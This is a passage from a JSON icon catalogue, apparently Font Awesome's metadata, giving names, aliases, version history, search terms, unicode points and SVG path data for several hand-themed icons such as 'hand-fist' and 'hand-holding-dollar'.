      "names": ["hand-paper"],
      "unicodes": {
        "composite": ["1f91a", "270b"],
        "secondary": ["10f256"]
      }
    },
    "changes": ["4.4.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Raised Hand",
        "backhand",
        "game",
        "halt",
        "palm",
        "raised",
        "raised back of hand",
        "roshambo",
        "stop"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f256",
    "label": "Hand",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V240c0 8.8-7.2 16-16 16s-16-7.2-16-16V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V336c0 1.5 0 3.1 .1 4.6L67.6 283c-16-15.2-41.3-14.6-56.6 1.4s-14.6 41.3 1.4 56.6L124.8 448c43.1 41.1 100.4 64 160 64H304c97.2 0 176-78.8 176-176V128c0-17.7-14.3-32-32-32s-32 14.3-32 32V240c0 8.8-7.2 16-16 16s-16-7.2-16-16V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V240c0 8.8-7.2 16-16 16s-16-7.2-16-16V32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M288 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V240c0 8.8-7.2 16-16 16s-16-7.2-16-16V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V336c0 1.5 0 3.1 .1 4.6L67.6 283c-16-15.2-41.3-14.6-56.6 1.4s-14.6 41.3 1.4 56.6L124.8 448c43.1 41.1 100.4 64 160 64H304c97.2 0 176-78.8 176-176V128c0-17.7-14.3-32-32-32s-32 14.3-32 32V240c0 8.8-7.2 16-16 16s-16-7.2-16-16V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V240c0 8.8-7.2 16-16 16s-16-7.2-16-16V32z"
      },
      "regular": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0c-25.3 0-47.2 14.7-57.6 36c-7-2.6-14.5-4-22.4-4c-35.3 0-64 28.7-64 64V261.5l-2.7-2.7c-25-25-65.5-25-90.5 0s-25 65.5 0 90.5L106.5 437c48 48 113.1 75 181 75H296h8c1.5 0 3-.1 4.5-.4c91.7-6.2 165-79.4 171.1-171.1c.3-1.5 .4-3 .4-4.5V160c0-35.3-28.7-64-64-64c-5.5 0-10.9 .7-16 2V96c0-35.3-28.7-64-64-64c-7.9 0-15.4 1.4-22.4 4C303.2 14.7 281.3 0 256 0zM240 96.1c0 0 0-.1 0-.1V64c0-8.8 7.2-16 16-16s16 7.2 16 16V95.9c0 0 0 .1 0 .1V232c0 13.3 10.7 24 24 24s24-10.7 24-24V96c0 0 0 0 0-.1c0-8.8 7.2-16 16-16s16 7.2 16 16v55.9c0 0 0 .1 0 .1v80c0 13.3 10.7 24 24 24s24-10.7 24-24V160.1c0 0 0-.1 0-.1c0-8.8 7.2-16 16-16s16 7.2 16 16V332.9c-.1 .6-.1 1.3-.2 1.9c-3.4 69.7-59.3 125.6-129 129c-.6 0-1.3 .1-1.9 .2H296h-8.5c-55.2 0-108.1-21.9-147.1-60.9L52.7 315.3c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L119 336.4c6.9 6.9 17.2 8.9 26.2 5.2s14.8-12.5 14.8-22.2V96c0-8.8 7.2-16 16-16c8.8 0 16 7.1 16 15.9V232c0 13.3 10.7 24 24 24s24-10.7 24-24V96.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0c-25.3 0-47.2 14.7-57.6 36c-7-2.6-14.5-4-22.4-4c-35.3 0-64 28.7-64 64V261.5l-2.7-2.7c-25-25-65.5-25-90.5 0s-25 65.5 0 90.5L106.5 437c48 48 113.1 75 181 75H296h8c1.5 0 3-.1 4.5-.4c91.7-6.2 165-79.4 171.1-171.1c.3-1.5 .4-3 .4-4.5V160c0-35.3-28.7-64-64-64c-5.5 0-10.9 .7-16 2V96c0-35.3-28.7-64-64-64c-7.9 0-15.4 1.4-22.4 4C303.2 14.7 281.3 0 256 0zM240 96.1c0 0 0-.1 0-.1V64c0-8.8 7.2-16 16-16s16 7.2 16 16V95.9c0 0 0 .1 0 .1V232c0 13.3 10.7 24 24 24s24-10.7 24-24V96c0 0 0 0 0-.1c0-8.8 7.2-16 16-16s16 7.2 16 16v55.9c0 0 0 .1 0 .1v80c0 13.3 10.7 24 24 24s24-10.7 24-24V160.1c0 0 0-.1 0-.1c0-8.8 7.2-16 16-16s16 7.2 16 16V332.9c-.1 .6-.1 1.3-.2 1.9c-3.4 69.7-59.3 125.6-129 129c-.6 0-1.3 .1-1.9 .2H296h-8.5c-55.2 0-108.1-21.9-147.1-60.9L52.7 315.3c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L119 336.4c6.9 6.9 17.2 8.9 26.2 5.2s14.8-12.5 14.8-22.2V96c0-8.8 7.2-16 16-16c8.8 0 16 7.1 16 15.9V232c0 13.3 10.7 24 24 24s24-10.7 24-24V96.1z"
      }
    },
    "free": ["regular", "solid"]
  },
  "hand-back-fist": {
    "aliases": {
      "names": ["hand-rock"],
      "unicodes": {
        "secondary": ["10f255"]
      }
    },
    "changes": ["4.4.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["fist", "game", "roshambo"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f255",
    "label": "Hand Back Fist",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M144 0C117.5 0 96 21.5 96 48V96v28.5V176c0 8.8-7.2 16-16 16s-16-7.2-16-16V149.3l-9 7.5C40.4 169 32 187 32 206V244c0 38 16.9 74 46.1 98.3L128 384v96c0 17.7 14.3 32 32 32H320c17.7 0 32-14.3 32-32V374.7c46.9-19 80-65 80-118.7V176 160 144c0-26.5-21.5-48-48-48c-12.4 0-23.6 4.7-32.1 12.3C350 83.5 329.3 64 304 64c-12.4 0-23.6 4.7-32.1 12.3C270 51.5 249.3 32 224 32c-12.4 0-23.6 4.7-32.1 12.3C190 19.5 169.3 0 144 0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M144 0C117.5 0 96 21.5 96 48V96v28.5V176c0 8.8-7.2 16-16 16s-16-7.2-16-16V149.3l-9 7.5C40.4 169 32 187 32 206V244c0 38 16.9 74 46.1 98.3L128 384v96c0 17.7 14.3 32 32 32H320c17.7 0 32-14.3 32-32V374.7c46.9-19 80-65 80-118.7V176 160 144c0-26.5-21.5-48-48-48c-12.4 0-23.6 4.7-32.1 12.3C350 83.5 329.3 64 304 64c-12.4 0-23.6 4.7-32.1 12.3C270 51.5 249.3 32 224 32c-12.4 0-23.6 4.7-32.1 12.3C190 19.5 169.3 0 144 0z"
      },
      "regular": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M144 64c0-8.8 7.2-16 16-16s16 7.2 16 16c0 9.1 5.1 17.4 13.3 21.5s17.9 3.2 25.1-2.3c2.7-2 6-3.2 9.6-3.2c8.8 0 16 7.2 16 16c0 9.1 5.1 17.4 13.3 21.5s17.9 3.2 25.1-2.3c2.7-2 6-3.2 9.6-3.2c8.8 0 16 7.2 16 16c0 9.1 5.1 17.4 13.3 21.5s17.9 3.2 25.1-2.3c2.7-2 6-3.2 9.6-3.2c8.8 0 16 7.2 16 16V264c0 31.3-20 58-48 67.9c-9.6 3.4-16 12.5-16 22.6V488c0 13.3 10.7 24 24 24s24-10.7 24-24V370.2c38-20.1 64-60.1 64-106.2V160c0-35.3-28.7-64-64-64c-2.8 0-5.6 .2-8.3 .5C332.8 77.1 311.9 64 288 64c-2.8 0-5.6 .2-8.3 .5C268.8 45.1 247.9 32 224 32c-2.8 0-5.6 .2-8.3 .5C204.8 13.1 183.9 0 160 0C124.7 0 96 28.7 96 64v64.3c-11.7 7.4-22.5 16.4-32 26.9l17.8 16.1L64 155.2l-9.4 10.5C40 181.8 32 202.8 32 224.6v12.8c0 49.6 24.2 96.1 64.8 124.5l13.8-19.7L96.8 361.9l8.9 6.2c6.9 4.8 14.4 8.6 22.3 11.3V488c0 13.3 10.7 24 24 24s24-10.7 24-24V359.9c0-12.6-9.8-23.1-22.4-23.9c-7.3-.5-14.3-2.9-20.3-7.1l-13.1 18.7 13.1-18.7-8.9-6.2C96.6 303.1 80 271.3 80 237.4V224.6c0-9.9 3.7-19.4 10.3-26.8l9.4-10.5c3.8-4.2 7.9-8.1 12.3-11.6V208c0 8.8 7.2 16 16 16s16-7.2 16-16V142.3 128 64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M144 64c0-8.8 7.2-16 16-16s16 7.2 16 16c0 9.1 5.1 17.4 13.3 21.5s17.9 3.2 25.1-2.3c2.7-2 6-3.2 9.6-3.2c8.8 0 16 7.2 16 16c0 9.1 5.1 17.4 13.3 21.5s17.9 3.2 25.1-2.3c2.7-2 6-3.2 9.6-3.2c8.8 0 16 7.2 16 16c0 9.1 5.1 17.4 13.3 21.5s17.9 3.2 25.1-2.3c2.7-2 6-3.2 9.6-3.2c8.8 0 16 7.2 16 16V264c0 31.3-20 58-48 67.9c-9.6 3.4-16 12.5-16 22.6V488c0 13.3 10.7 24 24 24s24-10.7 24-24V370.2c38-20.1 64-60.1 64-106.2V160c0-35.3-28.7-64-64-64c-2.8 0-5.6 .2-8.3 .5C332.8 77.1 311.9 64 288 64c-2.8 0-5.6 .2-8.3 .5C268.8 45.1 247.9 32 224 32c-2.8 0-5.6 .2-8.3 .5C204.8 13.1 183.9 0 160 0C124.7 0 96 28.7 96 64v64.3c-11.7 7.4-22.5 16.4-32 26.9l17.8 16.1L64 155.2l-9.4 10.5C40 181.8 32 202.8 32 224.6v12.8c0 49.6 24.2 96.1 64.8 124.5l13.8-19.7L96.8 361.9l8.9 6.2c6.9 4.8 14.4 8.6 22.3 11.3V488c0 13.3 10.7 24 24 24s24-10.7 24-24V359.9c0-12.6-9.8-23.1-22.4-23.9c-7.3-.5-14.3-2.9-20.3-7.1l-13.1 18.7 13.1-18.7-8.9-6.2C96.6 303.1 80 271.3 80 237.4V224.6c0-9.9 3.7-19.4 10.3-26.8l9.4-10.5c3.8-4.2 7.9-8.1 12.3-11.6V208c0 8.8 7.2 16 16 16s16-7.2 16-16V142.3 128 64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "hand-dots": {
    "aliases": {
      "names": ["allergies"],
      "unicodes": {
        "secondary": ["10f461"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "allergy",
        "freckles",
        "hand",
        "hives",
        "palm",
        "pox",
        "skin",
        "spots"
      ]
    },
    "styles": ["solid"],
    "unicode": "f461",
    "label": "Hand Dots",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V240c0 8.8-7.2 16-16 16s-16-7.2-16-16V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V336c0 1.5 0 3.1 .1 4.6L67.6 283c-16-15.2-41.3-14.6-56.6 1.4s-14.6 41.3 1.4 56.6L124.8 448c43.1 41.1 100.4 64 160 64H304c97.2 0 176-78.8 176-176V128c0-17.7-14.3-32-32-32s-32 14.3-32 32V240c0 8.8-7.2 16-16 16s-16-7.2-16-16V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V240c0 8.8-7.2 16-16 16s-16-7.2-16-16V32zM240 336a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zm80 16a16 16 0 1 1 0 32 16 16 0 1 1 0-32zm48-16a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zm-16 80a16 16 0 1 1 0 32 16 16 0 1 1 0-32zM240 432a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zm-48-48a16 16 0 1 1 0 32 16 16 0 1 1 0-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M288 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V240c0 8.8-7.2 16-16 16s-16-7.2-16-16V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V336c0 1.5 0 3.1 .1 4.6L67.6 283c-16-15.2-41.3-14.6-56.6 1.4s-14.6 41.3 1.4 56.6L124.8 448c43.1 41.1 100.4 64 160 64H304c97.2 0 176-78.8 176-176V128c0-17.7-14.3-32-32-32s-32 14.3-32 32V240c0 8.8-7.2 16-16 16s-16-7.2-16-16V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V240c0 8.8-7.2 16-16 16s-16-7.2-16-16V32zM240 336a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zm80 16a16 16 0 1 1 0 32 16 16 0 1 1 0-32zm48-16a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zm-16 80a16 16 0 1 1 0 32 16 16 0 1 1 0-32zM240 432a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zm-48-48a16 16 0 1 1 0 32 16 16 0 1 1 0-32z"
      }
    },
    "free": ["solid"]
  },
  "hand-fist": {
    "aliases": {
      "names": ["fist-raised"],
      "unicodes": {
        "composite": ["270a"],
        "secondary": ["10f6de"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Dungeons & Dragons",
        "clenched",
        "d&d",
        "dnd",
        "fantasy",
        "fist",
        "hand",
        "ki",
        "monk",
        "punch",
        "raised fist",
        "resist",
        "strength",
        "unarmed combat"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6de",
    "label": "Hand Fist",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M192 0c17.7 0 32 14.3 32 32V144H160V32c0-17.7 14.3-32 32-32zM64 64c0-17.7 14.3-32 32-32s32 14.3 32 32v80H64V64zm192 0c0-17.7 14.3-32 32-32s32 14.3 32 32v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V64zm96 64c0-17.7 14.3-32 32-32s32 14.3 32 32v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V128zm-96 88l0-.6c9.4 5.4 20.3 8.6 32 8.6c13.2 0 25.4-4 35.6-10.8c8.7 24.9 32.5 42.8 60.4 42.8c11.7 0 22.6-3.1 32-8.6V256c0 52.3-25.1 98.8-64 128v96c0 17.7-14.3 32-32 32H160c-17.7 0-32-14.3-32-32V401.6c-17.3-7.9-33.2-18.8-46.9-32.5L69.5 357.5C45.5 333.5 32 300.9 32 267V240c0-35.3 28.7-64 64-64h88c22.1 0 40 17.9 40 40s-17.9 40-40 40H128c-8.8 0-16 7.2-16 16s7.2 16 16 16h56c39.8 0 72-32.2 72-72z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M192 0c17.7 0 32 14.3 32 32V144H160V32c0-17.7 14.3-32 32-32zM64 64c0-17.7 14.3-32 32-32s32 14.3 32 32v80H64V64zm192 0c0-17.7 14.3-32 32-32s32 14.3 32 32v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V64zm96 64c0-17.7 14.3-32 32-32s32 14.3 32 32v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V128zm-96 88l0-.6c9.4 5.4 20.3 8.6 32 8.6c13.2 0 25.4-4 35.6-10.8c8.7 24.9 32.5 42.8 60.4 42.8c11.7 0 22.6-3.1 32-8.6V256c0 52.3-25.1 98.8-64 128v96c0 17.7-14.3 32-32 32H160c-17.7 0-32-14.3-32-32V401.6c-17.3-7.9-33.2-18.8-46.9-32.5L69.5 357.5C45.5 333.5 32 300.9 32 267V240c0-35.3 28.7-64 64-64h88c22.1 0 40 17.9 40 40s-17.9 40-40 40H128c-8.8 0-16 7.2-16 16s7.2 16 16 16h56c39.8 0 72-32.2 72-72z"
      }
    },
    "free": ["solid"]
  },
  "hand-holding": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f4bd"]
      }
    },
    "changes": ["5.0.9", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["carry", "lift"]
    },
    "styles": ["solid"],
    "unicode": "f4bd",
    "label": "Hand Holding",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M559.7 392.2c17.8-13.1 21.6-38.1 8.5-55.9s-38.1-21.6-55.9-8.5L392.6 416H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h16 64c17.7 0 32-14.3 32-32s-14.3-32-32-32H288 272 193.7c-29.1 0-57.3 9.9-80 28L68.8 384H32c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H192 352.5c29 0 57.3-9.3 80.7-26.5l126.6-93.3zm-366.1-8.3a.5 .5 0 1 1 -.9 .1 .5 .5 0 1 1 .9-.1z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M559.7 392.2c17.8-13.1 21.6-38.1 8.5-55.9s-38.1-21.6-55.9-8.5L392.6 416H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h16 64c17.7 0 32-14.3 32-32s-14.3-32-32-32H288 272 193.7c-29.1 0-57.3 9.9-80 28L68.8 384H32c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H192 352.5c29 0 57.3-9.3 80.7-26.5l126.6-93.3zm-366.1-8.3a.5 .5 0 1 1 -.9 .1 .5 .5 0 1 1 .9-.1z"
      }
    },
    "free": ["solid"]
  },
  "hand-holding-dollar": {
    "aliases": {
      "names": ["hand-holding-usd"],
      "unicodes": {
        "secondary": ["10f4c0"]
      }
    },
    "changes": [
      "5.0.9",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "$",
        "carry",
        "dollar sign",
        "donation",
        "giving",
        "lift",
        "money",
        "price"
      ]
    },
    "styles": ["solid"],
    "unicode": "f4c0",
    "label": "Hand Holding Dollar",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M312 24V34.5c6.4 1.2 12.6 2.7 18.2 4.2c12.8 3.4 20.4 16.6 17 29.4s-16.6 20.4-29.4 17c-10.9-2.9-21.1-4.9-30.2-5c-7.3-.1-14.7 1.7-19.4 4.4c-2.1 1.3-3.1 2.4-3.5 3c-.3 .5-.7 1.2-.7 2.8c0 .3 0 .5 0 .6c.2 .2 .9 1.2 3.3 2.6c5.8 3.5 14.4 6.2 27.4 10.1l.9 .3c11.1 3.3 25.9 7.8 37.9 15.3c13.7 8.6 26.1 22.9 26.4 44.9c.3 22.5-11.4 38.9-26.7 48.5c-6.7 4.1-13.9 7-21.3 8.8V232c0 13.3-10.7 24-24 24s-24-10.7-24-24V220.6c-9.5-2.3-18.2-5.3-25.6-7.8c-2.1-.7-4.1-1.4-6-2c-12.6-4.2-19.4-17.8-15.2-30.4s17.8-19.4 30.4-15.2c2.6 .9 5 1.7 7.3 2.5c13.6 4.6 23.4 7.9 33.9 8.3c8 .3 15.1-1.6 19.2-4.1c1.9-1.2 2.8-2.2 3.2-2.9c.4-.6 .9-1.8 .8-4.1l0-.2c0-1 0-2.1-4-4.6c-5.7-3.6-14.3-6.4-27.1-10.3l-1.9-.6c-10.8-3.2-25-7.5-36.4-14.4c-13.5-8.1-26.5-22-26.6-44.1c-.1-22.9 12.9-38.6 27.7-47.4c6.4-3.8 13.3-6.4 20.2-8.2V24c0-13.3 10.7-24 24-24s24 10.7 24 24zM568.2 336.3c13.1 17.8 9.3 42.8-8.5 55.9L433.1 485.5c-23.4 17.2-51.6 26.5-80.7 26.5H192 32c-17.7 0-32-14.3-32-32V416c0-17.7 14.3-32 32-32H68.8l44.9-36c22.7-18.2 50.9-28 80-28H272h16 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H288 272c-8.8 0-16 7.2-16 16s7.2 16 16 16H392.6l119.7-88.2c17.8-13.1 42.8-9.3 55.9 8.5zM193.6 384l0 0-.9 0c.3 0 .6 0 .9 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M312 24V34.5c6.4 1.2 12.6 2.7 18.2 4.2c12.8 3.4 20.4 16.6 17 29.4s-16.6 20.4-29.4 17c-10.9-2.9-21.1-4.9-30.2-5c-7.3-.1-14.7 1.7-19.4 4.4c-2.1 1.3-3.1 2.4-3.5 3c-.3 .5-.7 1.2-.7 2.8c0 .3 0 .5 0 .6c.2 .2 .9 1.2 3.3 2.6c5.8 3.5 14.4 6.2 27.4 10.1l.9 .3c11.1 3.3 25.9 7.8 37.9 15.3c13.7 8.6 26.1 22.9 26.4 44.9c.3 22.5-11.4 38.9-26.7 48.5c-6.7 4.1-13.9 7-21.3 8.8V232c0 13.3-10.7 24-24 24s-24-10.7-24-24V220.6c-9.5-2.3-18.2-5.3-25.6-7.8c-2.1-.7-4.1-1.4-6-2c-12.6-4.2-19.4-17.8-15.2-30.4s17.8-19.4 30.4-15.2c2.6 .9 5 1.7 7.3 2.5c13.6 4.6 23.4 7.9 33.9 8.3c8 .3 15.1-1.6 19.2-4.1c1.9-1.2 2.8-2.2 3.2-2.9c.4-.6 .9-1.8 .8-4.1l0-.2c0-1 0-2.1-4-4.6c-5.7-3.6-14.3-6.4-27.1-10.3l-1.9-.6c-10.8-3.2-25-7.5-36.4-14.4c-13.5-8.1-26.5-22-26.6-44.1c-.1-22.9 12.9-38.6 27.7-47.4c6.4-3.8 13.3-6.4 20.2-8.2V24c0-13.3 10.7-24 24-24s24 10.7 24 24zM568.2 336.3c13.1 17.8 9.3 42.8-8.5 55.9L433.1 485.5c-23.4 17.2-51.6 26.5-80.7 26.5H192 32c-17.7 0-32-14.3-32-32V416c0-17.7 14.3-32 32-32H68.8l44.9-36c22.7-18.2 50.9-28 80-28H272h16 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H288 272c-8.8 0-16 7.2-16 16s7.2 16 16 16H392.6l119.7-88.2c17.8-13.1 42.8-9.3 55.9 8.5zM193.6 384l0 0-.9 0c.3 0 .6 0 .9 0z"
      }
    },
    "free": ["solid"]
  },
  "hand-holding-droplet": {
    "aliases": {
      "names": ["hand-holding-water"],
      "unicodes": {
        "secondary": ["10f4c1"]
      }
    },
    "changes": [
      "5.0.9",
      "5.13.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["carry", "covid-19", "drought", "grow", "lift", "sanitation"]
    },
    "styles": ["solid"],
    "unicode": "f4c1",
    "label": "Hand Holding Droplet",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M275.5 6.6C278.3 2.5 283 0 288 0s9.7 2.5 12.5 6.6L366.8 103C378 119.3 384 138.6 384 158.3V160c0 53-43 96-96 96s-96-43-96-96v-1.7c0-19.8 6-39 17.2-55.3L275.5 6.6zM568.2 336.3c13.1 17.8 9.3 42.8-8.5 55.9L433.1 485.5c-23.4 17.2-51.6 26.5-80.7 26.5H192 32c-17.7 0-32-14.3-32-32V416c0-17.7 14.3-32 32-32H68.8l44.9-36c22.7-18.2 50.9-28 80-28H272h16 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H288 272c-8.8 0-16 7.2-16 16s7.2 16 16 16H392.6l119.7-88.2c17.8-13.1 42.8-9.3 55.9 8.5zM193.6 384l0 0-.9 0c.3 0 .6 0 .9 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M275.5 6.6C278.3 2.5 283 0 288 0s9.7 2.5 12.5 6.6L366.8 103C378 119.3 384 138.6 384 158.3V160c0 53-43 96-96 96s-96-43-96-96v-1.7c0-19.8 6-39 17.2-55.3L275.5 6.6zM568.2 336.3c13.1 17.8 9.3 42.8-8.5 55.9L433.1 485.5c-23.4 17.2-51.6 26.5-80.7 26.5H192 32c-17.7 0-32-14.3-32-32V416c0-17.7 14.3-32 32-32H68.8l44.9-36c22.7-18.2 50.9-28 80-28H272h16 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H288 272c-8.8 0-16 7.2-16 16s7.2 16 16 16H392.6l119.7-88.2c17.8-13.1 42.8-9.3 55.9 8.5zM193.6 384l0 0-.9 0c.3 0 .6 0 .9 0z"
      }
    },
    "free": ["solid"]
  },
  "hand-holding-hand": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0", "6.4.1"],
    "ligatures": [],
    "search": {
      "terms": ["care", "give", "help", "hold", "protect"]
    },
    "styles": ["solid"],
    "unicode": "e4f7",
    "label": "Hand Holding Hand",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M7.8 207.7c-13.1-17.8-9.3-42.8 8.5-55.9L142.9 58.5C166.2 41.3 194.5 32 223.5 32H384 544c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H507.2l-44.9 36c-22.7 18.2-50.9 28-80 28H304 288 224c-17.7 0-32-14.3-32-32s14.3-32 32-32h64 16c8.8 0 16-7.2 16-16s-7.2-16-16-16H183.4L63.7 216.2c-17.8 13.1-42.8 9.3-55.9-8.5zM382.4 160l0 0 .9 0c-.3 0-.6 0-.9 0zM568.2 304.3c13.1 17.8 9.3 42.8-8.5 55.9L433.1 453.5c-23.4 17.2-51.6 26.5-80.7 26.5H192 32c-17.7 0-32-14.3-32-32V384c0-17.7 14.3-32 32-32H68.8l44.9-36c22.7-18.2 50.9-28 80-28H272h16 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H288 272c-8.8 0-16 7.2-16 16s7.2 16 16 16H392.6l119.7-88.2c17.8-13.1 42.8-9.3 55.9 8.5zM193.6 352l0 0-.9 0c.3 0 .6 0 .9 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M7.8 207.7c-13.1-17.8-9.3-42.8 8.5-55.9L142.9 58.5C166.2 41.3 194.5 32 223.5 32H384 544c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H507.2l-44.9 36c-22.7 18.2-50.9 28-80 28H304 288 224c-17.7 0-32-14.3-32-32s14.3-32 32-32h64 16c8.8 0 16-7.2 16-16s-7.2-16-16-16H183.4L63.7 216.2c-17.8 13.1-42.8 9.3-55.9-8.5zM382.4 160l0 0 .9 0c-.3 0-.6 0-.9 0zM568.2 304.3c13.1 17.8 9.3 42.8-8.5 55.9L433.1 453.5c-23.4 17.2-51.6 26.5-80.7 26.5H192 32c-17.7 0-32-14.3-32-32V384c0-17.7 14.3-32 32-32H68.8l44.9-36c22.7-18.2 50.9-28 80-28H272h16 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H288 272c-8.8 0-16 7.2-16 16s7.2 16 16 16H392.6l119.7-88.2c17.8-13.1 42.8-9.3 55.9 8.5zM193.6 352l0 0-.9 0c.3 0 .6 0 .9 0z"
      }
    },
    "free": ["solid"]
  },
  "hand-holding-heart": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f4be"]
      }
    },
    "changes": ["5.0.9", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0", "6.4.1"],
    "ligatures": [],
    "search": {
      "terms": ["carry", "charity", "gift", "lift", "package"]
    },
    "styles": ["solid"],
    "unicode": "f4be",
    "label": "Hand Holding Heart",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M163.9 136.9c-29.4-29.8-29.4-78.2 0-108s77-29.8 106.4 0l17.7 18 17.7-18c29.4-29.8 77-29.8 106.4 0s29.4 78.2 0 108L310.5 240.1c-6.2 6.3-14.3 9.4-22.5 9.4s-16.3-3.1-22.5-9.4L163.9 136.9zM568.2 336.3c13.1 17.8 9.3 42.8-8.5 55.9L433.1 485.5c-23.4 17.2-51.6 26.5-80.7 26.5H192 32c-17.7 0-32-14.3-32-32V416c0-17.7 14.3-32 32-32H68.8l44.9-36c22.7-18.2 50.9-28 80-28H272h16 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H288 272c-8.8 0-16 7.2-16 16s7.2 16 16 16H392.6l119.7-88.2c17.8-13.1 42.8-9.3 55.9 8.5zM193.6 384l0 0-.9 0c.3 0 .6 0 .9 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
